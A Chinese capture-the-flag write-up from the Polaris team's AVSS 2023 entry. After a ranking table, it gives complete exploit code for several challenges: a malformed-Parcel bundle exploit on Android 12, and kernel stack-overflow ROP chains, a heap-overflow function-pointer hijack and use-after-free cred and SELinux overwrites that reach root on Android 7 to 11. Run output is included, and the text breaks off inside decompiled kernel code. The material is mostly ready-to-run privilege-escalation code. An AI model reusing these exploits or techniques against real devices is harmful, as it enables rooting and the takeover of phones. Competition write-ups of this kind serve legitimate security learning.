本次 AVSS 2023,我们 Polaris 战队排名第5。

排名 队伍 总分
1 天枢Dubhe 90.49
2 NeSE 89.19
3 BlueThanos 85.43
4 拼洞洞队伍 84.79
5 Polaris 73.91
6 来自东方的神秘力量 69.49
7 九峰安全实验室 44.02
8 小腿一蹬与世无争 43.63
9 Forgo7ten 39.28
10 NSSL 38.99

APP-VulnParcel

Android 12 - arm64

反序列化 核心代码

package com.test.chall_exploit;

import android.content.Intent;
import android.os.Bundle;
import android.os.Parcel;

public class comm implements IGenerateMalformedParcel{

    @Override
    public Parcel generate(Intent intent) {

        Bundle bundle = new Bundle();
        Parcel obtain = Parcel.obtain();
        Parcel obtain2 = Parcel.obtain();
        Parcel obtain3 = Parcel.obtain();
        obtain.writeInt(-1);
        obtain.writeInt(0x4c444E42); 

        obtain2.writeInt(3); 
        obtain2.writeString("launchanywhere");
        obtain2.writeInt(4);
        obtain2.writeString("android.os.VulnParcelable");
        obtain2.writeInt(1);
        obtain2.writeInt(0); 
        obtain2.writeInt(0); 

        obtain2.writeInt(13); 
        obtain2.writeInt(0);
        obtain2.writeInt(0);
        obtain2.writeInt(0);
        obtain2.writeInt(13);
        obtain2.writeInt(56);
        obtain2.writeInt(0);
        obtain2.writeInt(0);
        obtain2.writeInt(1); 
        obtain2.writeInt(1);
        obtain2.writeInt(13);
        obtain2.writeInt(22);
        obtain2.writeInt(0);
        obtain2.writeInt(0);
        obtain2.writeInt(0);
        obtain2.writeInt(0);
        obtain2.writeInt(0);
        obtain2.writeInt(0);
        obtain2.writeInt(13); 
        obtain2.writeInt(-1);

        int dataPosition = obtain2.dataPosition();
        obtain2.writeString("intent");
        obtain2.writeInt(4);
        obtain2.writeString("android.content.Intent");
        intent.writeToParcel(obtain3, 0);
        obtain2.appendFrom(obtain3, 0, obtain3.dataSize());

        int dataPosition2 = obtain2.dataPosition();
        obtain2.setDataPosition(dataPosition - 4);
        obtain2.writeInt(dataPosition2 - dataPosition);
        obtain2.setDataPosition(dataPosition2);

        int dataSize = obtain2.dataSize();
        obtain.setDataPosition(0);
        obtain.writeInt(dataSize);
        obtain.appendFrom(obtain2, 0, dataSize);
        obtain.setDataPosition(0);

        return obtain;
    }
}

APP-expReceiver

签到题

<receiver
    android:name="com.avss.testreceiver.MyBroadcastReceiver">
    <intent-filter>
        <action android:name="com.avss.testreceiver.GET_FLAG" />
    </intent-filter>
</receiver>

Android 7 - arm64

am broadcast -a com.avss.testreceiver.GET_FLAG com.avss.testreceiver
logcat

Android 8 - arm64

am broadcast -a com.avss.testreceiver.GET_FLAG --es sms_body '1' -n com.avss.testreceiver/.IntentReceiver
logcat -d | grep flag

Kernel-kStackOverflow

直接给了栈溢出漏洞

+noinline long stackof_read(char __user * addr, unsigned long len) {
+    char buffer[0x100];
+    long ans;
+    memset(buffer, 0, sizeof(buffer));
+    ans=my_ctu(buffer,addr,len);
+    return ans;
+}
+
+noinline long sys_stackof_handler(char __user * addr, unsigned long len, int option) {    
+    if(option){
+	    return stackof_read(addr,len);
+    }
+    else{
+	    return stackof_write(addr,len);
+    }
+}

Android 7 - x86

栈溢出构建ROP链,可能是返回用户态的时候有问题,得到的进程虽然是root权限,但是很多系统调用都无法正常执行了,因此在有限系统调用的情况下利用共享内存来读取并输出flag。

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syscall.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <sys/mman.h>

#define __NR_stackof 601

char *flag = NULL;

void get_root(int sig)
{
    uid_t uid = 0;
    int fd = 0;
    
    fd = open("/system/flag", O_RDONLY);
    if(fd == -1) *(char *)0 = 0;
    
    if(read(fd, flag, 0x100) == -1) *(char *)0 = 0;

    puts("END");
    while(1)
    exit(EXIT_SUCCESS);
}

int exp1()
{
    char buf[0x1000];
    int i = 0x100;
    printf("start exp1\n");
    memset(buf, 0, sizeof(buf));
    *(size_t *)(buf + i) = 0x61; i += 8;
    *(size_t *)(buf + i) = 0xFFFFFFC0000C1354; i += 8; // prepare_kernel_cred
    *(size_t *)(buf + i) = 0x63; i += 8;
    *(size_t *)(buf + i) = 0xFFFFFFC0000C0E1C; i += 8; // commit_creds
    *(size_t *)(buf + i) = 0x65; i += 0x18;
    *(size_t *)(buf + i) = 0xffffffc000084270; i += 8; // ret_to_user
    *(size_t *)(buf + i) = 0x67; i += 0x118;

    *(size_t *)(buf + i) = (size_t)buf; i += 8;
    *(size_t *)(buf + i) = (size_t)get_root; i += 8;
    *(size_t *)(buf + i) = (size_t)0x80000000; i += 8;
    *(size_t *)(buf + i) = (size_t)buf; i += 8;
    *(size_t *)(buf + i) = (size_t)0x259; i += 8;
    syscall(__NR_stackof, buf, i ^ 0xdeadbeefdeadbeef, 0);
}

int leak()
{
    char buf[0x1000];
    size_t ret_addr = 0;
    memset(buf, 0, sizeof(buf));
    printf("start leak\n");
    syscall(__NR_stackof, buf, 0x900 ^ 0xdeadbeefdeadbeef, 1);
    ret_addr = *(size_t*)(buf+0x118);
    printf("ret_addr: %#lx\n", ret_addr);
}

int main()
{
    
    setbuf(stdout, NULL);

    signal(SIGSEGV, get_root);

    printf("uid: %d\n", getuid());

    flag = mmap((void *)0xabcd00000, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
    if(flag == MAP_FAILED)
    {
        perror("mmap");
        exit(EXIT_FAILURE);
    }
    memset(flag, 0, 0x1000);

    if(fork() == 0)
    {
        exp1();
        get_root(0);
        while(1)
        exit(EXIT_FAILURE);
    }

    sleep(1);
    puts(flag);

    return 0;
}

Android 8 - x86

和 Android 7 类似,稍微改一下偏移就可以了。

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syscall.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <sys/mman.h>

#define __NR_stackof 601

char *flag = NULL;

void get_root(int sig)
{
    uid_t uid = 0;
    int fd = 0;
    
    fd = open("/system/flag", O_RDONLY);
    if(fd == -1) *(char *)0 = 0;
    
    if(read(fd, flag, 0x100) == -1) *(char *)0 = 0;

    puts("END");
    while(1)
    exit(EXIT_SUCCESS);
}

int exp1()
{
    char buf[0x1000];
    int i = 0x100;
    printf("start exp1\n");
    printf("get_root %lx\n", (size_t)get_root);
    memset(buf, 0, sizeof(buf));
    *(size_t *)(buf + i) = 0x61; i += 8;
    *(size_t *)(buf + i) = 0xFFFFFFC0000BCCF0; i += 8; // prepare_kernel_cred
    *(size_t *)(buf + i) = 0x63; i += 8;
    *(size_t *)(buf + i) = 0xFFFFFFC0000BC920; i += 8; // commit_creds
    *(size_t *)(buf + i) = 0x65; i += 0x18;
    *(size_t *)(buf + i) = 0xffffffc0000864a4; i += 8; // ret_to_user
    *(size_t *)(buf + i) = 0x67; i += 0x128;

    *(size_t *)(buf + i) = (size_t)buf; i += 8;
    *(size_t *)(buf + i) = (size_t)get_root; i += 8;
    *(size_t *)(buf + i) = (size_t)0x80000000; i += 8;
    *(size_t *)(buf + i) = (size_t)buf; i += 8;
    *(size_t *)(buf + i) = (size_t)0x259; i += 8;
    syscall(__NR_stackof, buf, i ^ 0xdeadbeefdeadbeef, 0);
}

int leak()
{
    char buf[0x1000];
    size_t ret_addr = 0;
    memset(buf, 0, sizeof(buf));
    printf("start leak\n");
    syscall(__NR_stackof, buf, 0x900 ^ 0xdeadbeefdeadbeef, 1);
    ret_addr = *(size_t*)(buf+0x118);
    printf("ret_addr: %#lx\n", ret_addr);
}

int main()
{
    
    setbuf(stdout, NULL);

    signal(SIGSEGV, get_root);

    printf("uid: %d\n", getuid());

    flag = mmap((void *)0xabcd00000, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
    if(flag == MAP_FAILED)
    {
        perror("mmap");
        exit(EXIT_FAILURE);
    }
    memset(flag, 0, 0x1000);

    if(fork() == 0)
    {
        exp1();
        get_root(0);
        while(1)
        exit(EXIT_FAILURE);
    }

    sleep(1);
    puts(flag);

    return 0;
}

Android 9 - x86

和 Android 7 类似,稍微改一下偏移就可以了。

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syscall.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <sys/mman.h>

#define __NR_stackof 601

char *flag = NULL;

void get_root(int sig)
{
    uid_t uid = 0;
    int fd = 0;
    
    fd = open("/system/flag", O_RDONLY);
    if(fd == -1) *(char *)0 = 0;
    
    if(read(fd, flag, 0x100) == -1) *(char *)0 = 0;

    puts("END");
    while(1)
    exit(EXIT_SUCCESS);
}

int exp1()
{
    char buf[0x1000];
    int i = 0x100;
    printf("start exp1\n");
    printf("get_root %lx\n", (size_t)get_root);
    memset(buf, 0, sizeof(buf));
    *(size_t *)(buf + i) = 0x61; i += 8;
    *(size_t *)(buf + i) = 0xFFFFFFC0000BC900; i += 8; // prepare_kernel_cred
    *(size_t *)(buf + i) = 0x63; i += 8;
    *(size_t *)(buf + i) = 0xFFFFFFC0000BC530; i += 8; // commit_creds
    *(size_t *)(buf + i) = 0x65; i += 0x18;
    *(size_t *)(buf + i) = 0xffffffc0000864a4; i += 8; // ret_to_user
    *(size_t *)(buf + i) = 0x67; i += 0x128;

    *(size_t *)(buf + i) = (size_t)buf; i += 8;
    *(size_t *)(buf + i) = (size_t)get_root; i += 8;
    *(size_t *)(buf + i) = (size_t)0x80000000; i += 8;
    *(size_t *)(buf + i) = (size_t)buf; i += 8;
    *(size_t *)(buf + i) = (size_t)0x259; i += 8;
    syscall(__NR_stackof, buf, i ^ 0xdeadbeefdeadbeef, 0);
}

int leak()
{
    char buf[0x1000];
    size_t ret_addr = 0;
    memset(buf, 0, sizeof(buf));
    printf("start leak\n");
    syscall(__NR_stackof, buf, 0x900 ^ 0xdeadbeefdeadbeef, 1);
    ret_addr = *(size_t*)(buf+0x118);
    printf("ret_addr: %#lx\n", ret_addr);
}

int main()
{
    
    setbuf(stdout, NULL);

    signal(SIGSEGV, get_root);

    printf("uid: %d\n", getuid());

    flag = mmap((void *)0xabcd00000, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
    if(flag == MAP_FAILED)
    {
        perror("mmap");
        exit(EXIT_FAILURE);
    }
    memset(flag, 0, 0x1000);

    if(fork() == 0)
    {
        exp1();
        get_root(0);
        while(1)
        exit(EXIT_FAILURE);
    }

    sleep(1);
    puts(flag);

    return 0;
}

Android 10 - x86

Android 10 中有 canary 验证,因此需要先泄漏出 canary 。

__int64 __fastcall stackof_write(__int64 a1, __int64 a2)
{
  __int64 result; // x0
  __int64 v3; // x0
  __int64 v4[32]; // [xsp+8h] [xbp-118h] BYREF
  __int64 v5; // [xsp+108h] [xbp-18h]

  v5 = canary;
  memset(v4, 0, sizeof(v4));
  result = my_cfu(v4, a1, a2);
  if ( canary != v5 )
  {
    v3 = sub_FFFFFF80080AE1A0(result);
    return sub_FFFFFF80080DB1F0(v3);
  }
  return result;
}

利用方法和 Android 7 一样,构建ROP链。

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syscall.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <sys/mman.h>

#define __NR_stackof 601

char *flag = NULL;
size_t canary = 0;

void get_root(int sig)
{
    uid_t uid = 0;
    int fd = 0;
    
    fd = open("/system/flag", O_RDONLY);
    if(fd == -1) *(char *)0 = 0;
    
    if(read(fd, flag, 0x100) == -1) *(char *)0 = 0;

    puts("END");
    while(1)
    exit(EXIT_SUCCESS);
}

int exp1()
{
    char buf[0x1000];
    int i = 0x100;
    printf("start exp1\n");
    printf("get_root %lx\n", (size_t)get_root);
    memset(buf, 0, sizeof(buf));
    *(size_t *)(buf + i) = canary; i += 8;
    *(size_t *)(buf + i) = 0x61; i += 0x18;
    *(size_t *)(buf + i) = 0xffffff8008080000 + 0x000000000039cc30; i += 0x18; // ldr x0, [sp, #0x10]; ldp x29, x30, [sp, #0x50]; add sp, sp, #0x60; ret; 
    *(size_t *)(buf + i) = 0xFFFFFF8008E99F08 - 0x90; i += 0x48;

    *(size_t *)(buf + i) = 0xffffff8008080000 + 0x000000000004c424; i += 0x10; // ldr x0, [x0, #0x90]; ldp x29, x30, [sp], #0x10; ret; 
    *(size_t *)(buf + i) = 0xffffff8008080000 + 0x0000000000049268; i += 0x60; // ldp x29, x30, [sp, #0x50]; ldp x20, x19, [sp, #0x40]; ldp x22, x21, [sp, #0x30]; add sp, sp, #0x60; ret; 
    *(size_t *)(buf + i) = 0xFFFFFF80080D8A40; i += 0x28; // prepare_kernel_cred
    *(size_t *)(buf + i) = 0x63; i += 8;
    *(size_t *)(buf + i) = 0xFFFFFF80080D8670; i += 8; // commit_creds
    *(size_t *)(buf + i) = 0x65; i += 0x28;
    *(size_t *)(buf + i) = 0xffffff8008083c2c; i += 8; // ret_to_user
    *(size_t *)(buf + i) = 0x67; i += 0xf8;

    *(size_t *)(buf + i) = (size_t)buf; i += 8;
    *(size_t *)(buf + i) = (size_t)get_root; i += 8;
    *(size_t *)(buf + i) = (size_t)0x80000000; i += 8;
    *(size_t *)(buf + i) = (size_t)buf; i += 8;
    *(size_t *)(buf + i) = (size_t)0x259; i += 8;
    syscall(__NR_stackof, buf, i ^ 0xdeadbeefdeadbeef, 0);
}

int leak()
{
    char buf[0x1000];
    size_t ret_addr = 0;
    memset(buf, 0, sizeof(buf));
    printf("start leak\n");
    syscall(__NR_stackof, buf, 0x108 ^ 0xdeadbeefdeadbeef, 1);
    ret_addr = *(size_t*)(buf+0x100);
    printf("ret_addr: %#lx\n", ret_addr);
    canary = ret_addr;
}

int main()
{
    
    setbuf(stdout, NULL);

    signal(SIGSEGV, get_root);

    printf("uid: %d\n", getuid());

    flag = mmap((void *)0xabcd00000, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
    if(flag == MAP_FAILED)
    {
        perror("mmap");
        exit(EXIT_FAILURE);
    }
    memset(flag, 0, 0x1000);

    if(fork() == 0)
    {
        leak();
        exp1();
        get_root(0);
        while(1)
        exit(EXIT_FAILURE);
    }

    sleep(1);
    puts(flag);

    return 0;
}

Kernel-kHeapUserCopy

直接给了 heap overflow 漏洞。

+noinline void show_buffer(char __user * addr, unsigned long len, unsigned int idx) {
+    if (gst1[idx]) {
+        my_ctu(gst1[idx]->name, addr, len);
+    }
+}
+
+noinline void edit_buffer(char __user * addr, unsigned long len, unsigned int idx) {
+    if (gst1[idx]) {
+        my_cfu(gst1[idx]->name, addr, len);
+    }
+}

Android 7 - x86

分为三步执行

第一,先申请两个slab

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syscall.h>
#include <unistd.h>

#define __NR_easyof 602

int main()
{
    setbuf(stdout, NULL);

    syscall(__NR_easyof, NULL, 0, 0x0101);
    syscall(__NR_easyof, NULL, 0, 0x0201);
    syscall(__NR_easyof, NULL, 0, 0x0100);
    syscall(__NR_easyof, NULL, 0, 0x0200);

    // dmesg | grep p1

    return 0;
}

第二,执行 dmesg | grep p1 ,获取两个 slab 的地址

第三,根据两个 slab 地址计算偏移,从而修改高位地址的 gst1[max_index]->funcptr 为 onestep ,并触发该指针,然后就获取了 root 权限

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syscall.h>
#include <unistd.h>
#include <fcntl.h>

#define __NR_easyof 602

int main()
{
    size_t p1, p2;
    size_t min_p, max_p, min_index, max_index, offset;
    char *ptr;
    char buf[0x100];
    uid_t uid;
    int fd;

    setbuf(stdout, NULL);
    printf("p1: ");
    scanf("%lx", &p1);

    printf("p2: ");
    scanf("%lx", &p2);

    if(p1 > p2)
    {
        min_p = p2;
        min_index = 2;
        max_p = p1;
        max_index = 1;
    }
    else
    {
        min_p = p1;
        min_index = 1;
        max_p = p2;
        max_index = 2;
    }

    printf("min_p: %#lx\n", min_p);
    printf("max_p: %#lx\n", max_p);
    offset = max_p - min_p;
    printf("offset: %#lx\n", offset);
    ptr = calloc(1, offset + 8);

    syscall(__NR_easyof, ptr, offset, (min_index << 8)|2);
    printf("func: %p\n", *(char **)(ptr + offset - 8));
    *(size_t*)(ptr + offset - 8) = 0xffffffc0000c308c; // onestep
    syscall(__NR_easyof, ptr, offset, (min_index << 8)|3);
    if(syscall(__NR_easyof, NULL, 0, (max_index << 8)|4) == -1)
    {
        perror("easyof");
        exit(EXIT_FAILURE);
    }

    uid = getuid();
    printf("uid: %d\n", uid);

    if(uid == 0)
    {
        fd = open("/system/flag", O_RDONLY);
        if(fd == -1)
        {
            perror("open");
            exit(EXIT_FAILURE);
        }

        memset(buf, 0, sizeof(buf));
        read(fd, buf, sizeof(buf)-1);
        puts(buf);
    }

    puts("END");

    return 0;
}

运行结果:

generic_arm64:/data/local/tmp $ ./exp1
./exp1
generic_arm64:/data/local/tmp $ dmesg | grep p1
dmesg | grep p1
p1: ffffffc03a87dc00
p1: ffffffc03a87d400
generic_arm64:/data/local/tmp $ ./exp2
./exp2
p1: ffffffc03a87dc00
ffffffc03a87dc00
p2: ffffffc03a87d400
ffffffc03a87d400
min_p: 0xffffffc03a87d400
max_p: 0xffffffc03a87dc00
offset: 0x800
func: 0xffffffc0000c3060
uid: 0
flag{f242ce0e37d95939903acf5f60e4e500}
END
generic_arm64:/data/local/tmp $ 

Kernel-kSysUAF

直接给了 UAF 漏洞。

+noinline void del_buffer(unsigned int idx) {
+    if (gst1[idx]) {
+        kfree(gst1[idx]);
+        // gst1[idx] = NULL;
+    }
+}

Android 7 - x86

#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <unistd.h>

// #include "include/utils.h"

#ifndef _UTILS_H
#define _UTILS_H

#include <stdio.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <stdint.h>
#include <unistd.h>
#include <time.h>
#include <sys/syscall.h>


#define hexd(f_, ...) {printf(f_, ##__VA_ARGS__);}

#define ADDR 1
#define ASCL 1

void hexdump_fish(void* buf, uint64_t size, void *addr) {
    unsigned int col = 0, off = 0;
    unsigned char* p = (unsigned char*)buf;
    hexd("%08lx:\n", (uint64_t)addr);
    char chr[0x10];
    while (size--) {   
#ifdef ADDR
        /********** address print *********/
        if (!col)
            hexd("%08lx:", off + (uint64_t)addr);
#endif
        chr[col] = *p;
        hexd(" %02x", *p++);
        off++;
        col++;
        if (!(col % 16)) {
#ifdef ASCL
            /********** ascll print *********/
            hexd("  |  ");
            for (int i=0; i<16; i++) {
                if (chr[i] >= 0x20 && chr[i] < 0x7f) {
                    hexd("%c", chr[i]);
                }
                else {
                    hexd("`");
                }
            }
#endif
            hexd("\n");
            col = 0;
        } else if (!(col % 4))
            hexd("  ");
    }
    for (int i=0; i<off%16; i++)
        hexd("%c", chr[i]);
    hexd("\n");
    
}

#endif

#define __NR_testtest 600
#define __NR_uaf 602

typedef struct {
    char name[256];
    char str[128];
} my_struct;

char buf[256] = {0};

int new_uaf(int idx) {
    
    int option = (idx << 8) + 0; 
 
    return syscall(__NR_uaf, NULL, 0, option);
}

int del_uaf(int idx) {
    
    int option = (idx << 8) + 1; 
 
    return syscall(__NR_uaf, NULL, 0, option);
}

int show_uaf(void *addr, uint64_t len, int idx) {

    int option = (idx << 8) + 2;

    return syscall(__NR_uaf, addr, len, option);
}

int edit_uaf(void *addr, uint64_t len, int idx) {

    int option = (idx << 8) + 3;

    return syscall(__NR_uaf, addr, len, option);
}

int get_current(uint64_t init_task, uint64_t offset, uint64_t cred) {
  
    // get task_struct->tasks.prev
    *(uint64_t*)buf = init_task + offset + 8;
    edit_uaf(buf, 0x8, 12);
    show_uaf(buf, 0x10, 0);
    hexdump_fish(buf, 0x10, buf);
    
    *(uint64_t*)buf = *(uint64_t*)buf - offset + cred;
    edit_uaf(buf, 0x8, 12);
    show_uaf(buf, 0x10, 0);
    hexdump_fish(buf, 0x10, buf);

    edit_uaf(buf, 0x8, 12);
    show_uaf(buf, 0x40, 0);
    hexdump_fish(buf, 0x40, buf);
    
    if (!*(uint32_t*)(buf+0x4))
        return -1;

    memset(buf+0x4, 0x0, 0x30);
    edit_uaf(buf, 0x30, 0);

    return 0;
}


int main(int argc, char *argv[]) {
    printf("fish\n");

    printf("size: %#lx\n", sizeof(my_struct));

    for (int i=0; i<10; i++)
        new_uaf(i);
    del_uaf(0);
    del_uaf(1);
    del_uaf(2);
    
    *(uint64_t*)buf = 0xFFFFFFC0006E15E8;
    edit_uaf(buf, 0x8, 2);

    new_uaf(11);
    new_uaf(12);
    // memset(buf, 0x0, 0x100);
    // show_uaf(buf, 0x100, 12);
    // hexdump_fish(buf, 0x100, buf);
    
    // selinux_enforcing 
    *(uint64_t*)buf = 0xFFFFFFC0006EBACC;
    edit_uaf(buf, 0x8, 12);
    //show_uaf(buf, 0x10, 0);
    //hexdump_fish(buf, 0x10, buf);
    *(uint32_t*)buf = 0x0;
    edit_uaf(buf, 0x4, 0);
    
    // init_task
    int ret = get_current(0xFFFFFFC00069B820, 0x170, 0x3a0);
    
    if (!ret) {
        int fd = open("/system/flag", O_RDONLY);
        read(fd, buf, 0x40);
        printf("%s\n", buf);
    }
 
    return 0;
}

Android 8 - x86

和 Android 7 - x86 类似。

Android 9 - x86

和 Android7 类似,改偏移即可。

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syscall.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <sys/mman.h>

#define __NR_uaf 602

// #define DEBUG
#ifndef DEBUG
#define printf(...)
#define fprintf(...)
#define perror(...)
#define puts(...)
#define setbuf(...)
#endif

size_t read_word(size_t addr)
{
    size_t result = 0;
    syscall(__NR_uaf, &addr, 8, (3 << 8)|3);
    syscall(__NR_uaf, &result, 8, (0 << 8)|2);
    return result;
}

size_t write_word(size_t addr, size_t value)
{
    syscall(__NR_uaf, &addr, 8, (3 << 8)|3);
    syscall(__NR_uaf, &value, 8, (0 << 8)|3);
    return 0;
}

size_t get_current_task()
{
    int pid = getpid();
    size_t init_task = 0xffffffc000934e80, task = init_task;
    size_t result = 0;
    int task_pid = 0;
    int i = 0;

    #define PID_OFFSET 0x438
    #define TASK_OFFSET 0x348

    while(result == 0 && i++ < 1024)
    {
        task = read_word(task + TASK_OFFSET) - TASK_OFFSET;
        if(task == init_task)
        {
            break;
        }
        task_pid = read_word(task + PID_OFFSET);
        if(task_pid == pid)
        {
            result = task;
        }
    }

    return result;
}

int exploit()
{
    char buf[0x100];
    size_t current_task = 0;
    size_t cred = 0;

    syscall(__NR_uaf, NULL, 0, (0 << 8)|0);
    syscall(__NR_uaf, NULL, 0, (1 << 8)|0);
    syscall(__NR_uaf, NULL, 0, (0 << 8)|1);
    *(size_t*)(buf+0) = 0xffffffc000988618;
    syscall(__NR_uaf, buf, 8, (0 << 8)|3);
    syscall(__NR_uaf, NULL, 0, (2 << 8)|0);
    syscall(__NR_uaf, NULL, 0, (3 << 8)|0);

    syscall(__NR_uaf, NULL, 0, (0 << 8)|1);
    *(size_t*)(buf+0) = 0;
    syscall(__NR_uaf, buf, 8, (0 << 8)|3);

    *(size_t*)(buf+0) = 0xffffffc0009c33b4; // selinux_enforcing
    syscall(__NR_uaf, buf, 8, (3 << 8)|3);
    memset(buf, 0, sizeof(buf));
    syscall(__NR_uaf, buf, 4, (0 << 8)|3);

    current_task = get_current_task();
    printf("current_task: %#lx\n", current_task);
    cred = read_word(current_task + 0x5d0);
    printf("cred: %#lx\n", cred);

    
    *(size_t*)(buf+0) = cred + 4;
    syscall(__NR_uaf, buf, 8, (3 << 8)|3);
    memset(buf, 0, sizeof(buf));
    syscall(__NR_uaf, buf, 0x20, (0 << 8)|3);

    printf("uid: %d\n", getuid());

    return 0;
}

int readflag()
{
    int fd = 0;
    char buf[0x100];
    int result;

    fd = open("/system/flag", O_RDONLY);
    if(fd == -1)
    {
        perror("open");
        exit(EXIT_FAILURE);
    }
    memset(buf, 0, sizeof(buf));
    result = read(fd, buf, sizeof(buf)-1);
    printf("result: %d\n", result);
    write(STDOUT_FILENO, buf, result);

    close(fd);

    return 0;
}


int main()
{
    setbuf(stdout, NULL);

    puts("Start");

    exploit();

    readflag();

    puts("End");

    return 0;
}

Android 10 - x86

和 Android7 类似。

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syscall.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <sys/mman.h>

#define __NR_uaf 602

#define DEBUG
#ifndef DEBUG
#define printf(...)
#define fprintf(...)
#define perror(...)
#define puts(...)
#define setbuf(...)
#endif

size_t read_word(size_t addr)
{
    size_t result = 0;
    syscall(__NR_uaf, &addr, 8, (3 << 8)|3);
    syscall(__NR_uaf, &result, 8, (0 << 8)|2);
    return result;
}

size_t write_word(size_t addr, size_t value)
{
    syscall(__NR_uaf, &addr, 8, (3 << 8)|3);
    syscall(__NR_uaf, &value, 8, (0 << 8)|3);
    return 0;
}

size_t get_current_task()
{
    size_t init_task = 0xffffff8008dbaf80, task = init_task;
    size_t result = 0;
    size_t name = 0;
    int i = 0;

    #define NAME_OFFSET 0x750
    #define TASK_OFFSET 0x4a8

    while(result == 0 && i++ < 1024)
    {
        task = read_word(task + TASK_OFFSET) - TASK_OFFSET;
        printf("task: %#llx\n", task);
        if(task == init_task)
        {
            break;
        }
        name = read_word(task + NAME_OFFSET);
        printf("name: %s\n", (char *)&name);
        if((name & 0xffffff) == 0x00707865) // "exp"
        {
            result = task;
        }
    }

    return result;
}

int exploit()
{
    char buf[0x100];
    size_t current_task = 0;
    size_t cred = 0;

    syscall(__NR_uaf, NULL, 0, (0 << 8)|0);
    syscall(__NR_uaf, NULL, 0, (1 << 8)|0);
    syscall(__NR_uaf, NULL, 0, (0 << 8)|1);
    *(size_t*)(buf+0) = 0xffffff8008e9bfb0;
    syscall(__NR_uaf, buf, 8, (0 << 8)|3);
    syscall(__NR_uaf, NULL, 0, (2 << 8)|0);
    syscall(__NR_uaf, NULL, 0, (3 << 8)|0);

    syscall(__NR_uaf, NULL, 0, (0 << 8)|1);
    *(size_t*)(buf+0) = 0;
    syscall(__NR_uaf, buf, 8, (0 << 8)|3);

    *(size_t*)(buf+0) = 0xffffff8008eda7f0; // selinux_enforcing
    syscall(__NR_uaf, buf, 8, (3 << 8)|3);
    memset(buf, 0, sizeof(buf));
    syscall(__NR_uaf, buf, 4, (0 << 8)|3);

    current_task = get_current_task();
    printf("current_task: %#lx\n", current_task);
    cred = read_word(current_task + 0x740);
    printf("cred: %#lx\n", cred);

    
    *(size_t*)(buf+0) = cred + 4;
    syscall(__NR_uaf, buf, 8, (3 << 8)|3);
    memset(buf, 0, sizeof(buf));
    syscall(__NR_uaf, buf, 0x20, (0 << 8)|3);

    printf("uid: %d\n", getuid());

    return 0;
}

int readflag()
{
    int fd = 0;
    char buf[0x100];
    int result;

    fd = open("/system/flag", O_RDONLY);
    if(fd == -1)
    {
        perror("open");
        exit(EXIT_FAILURE);
    }
    memset(buf, 0, sizeof(buf));
    result = read(fd, buf, sizeof(buf)-1);
    printf("result: %d\n", result);
    write(STDOUT_FILENO, buf, result);

    close(fd);

    return 0;
}


int main()
{
    setbuf(stdout, NULL);

    puts("Start");

    exploit();

    readflag();

    puts("End");

    return 0;
}

Android 11 - arm64

先利用 /dev/ptmx 来泄漏 slab 地址,从而劫持 freelist 到 gst1 以达到任意地址读写的目的。

该题内核的 copy_from_user 和 copy_to_user 设置了限制,正常情况下无法读写 task_struct。

通过调试这两个函数来到函数 0xFFFFFFC01042451C ,猜测该函数为 check_object 函数,继续查看内部调用。

内核执行到函数 0xFFFFFFC010406170 会抛出异常, 因此需要设法绕过该函数。

unsigned __int64 __fastcall sub_FFFFFFC01042451C(unsigned __int64 result, unsigned __int64 a2, char a3)
{
  unsigned __int64 v3; // x30
  char *v4; // x18
  unsigned __int64 v7; // x20
  __int64 (__fastcall *v8)(); // x11
  unsigned __int64 v9; // x8
  __int64 v10; // x9
  __int64 v11; // x8
  __int64 v12; // x2
  __int64 v13; // x8
  _QWORD *v14; // x8
  unsigned __int64 v15; // x0
  __int64 v16; // x1

  __writex18qword(8u, v3);
  v4 = (char *)KeGetPcr() + 8;
  __setReg(18, v4);
  if ( !a2 )
    goto LABEL_5;
  v7 = result;
  if ( a2 - 1 > ~result )
    goto LABEL_21;
  if ( result <= 0x10 )
  {
LABEL_22:
    sub_FFFFFFC010424488("null address", 0i64, a3 & 1, v7, a2);
    goto LABEL_23;
  }
  result = sub_FFFFFFC0104246FC(result, a2);
  if ( (unsigned int)(result - 1) < 2 )
  {
LABEL_5:
    __setReg(18, v4 - 8);
    __setReg(18, (char *)KeGetPcr() - 8);
    return result;
  }
  if ( (_DWORD)result )
  {
    sub_FFFFFFC010424488("process stack", 0i64, a3 & 1, 0i64, a2);
LABEL_21:
    sub_FFFFFFC010424488("wrapped address", 0i64, a3 & 1, 0i64, v7 + a2);
    goto LABEL_22;
  }
  result = sub_FFFFFFC010216910(v7 >> 12);
  if ( (_DWORD)result )
  {
    v9 = ((v7 + 0x8000000000i64) >> 6) & 0x3FFFFFFFFFFFFC0i64;
    v10 = *(_QWORD *)(v9 - 0x1001FFFF8i64);
    v11 = v9 - 0x100200000i64;
